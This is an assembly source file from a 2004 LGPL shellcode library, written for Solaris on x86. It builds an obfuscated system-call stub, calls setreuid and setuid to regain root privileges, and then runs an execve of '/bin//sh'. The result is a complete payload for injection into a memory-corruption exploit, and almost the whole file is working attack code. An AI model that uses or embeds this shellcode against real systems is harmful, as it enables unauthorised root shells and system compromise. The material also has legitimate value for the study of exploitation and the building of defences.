/* * sol-x86-shellcode.s * Copyright 2004 Ramon de Carvalho Valle * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ .global _start _start: syscallcode: pushl $0x3cffd8ff pushl $0x65 movl %esp,%esi notl 0x04(%esi) notb (%esi) setreuidcode: xorl %eax,%eax pushl %eax pushl %eax movb $0xca,%al call *%esi setuidcode: xorl %eax,%eax pushl %eax movb $0x17,%al call *%esi exitcode: xorl %eax,%eax pushl %eax movb $0x01,%al call *%esi # 26 bytes shellcode: xorl %eax,%eax pushl %eax pushl $0x68732f2f pushl $0x6e69622f movl %esp,%ebx pushl %eax pushl %ebx movl %esp,%ecx pushl %eax pushl %ecx pushl %ebx movb $0x3b,%al call *%esi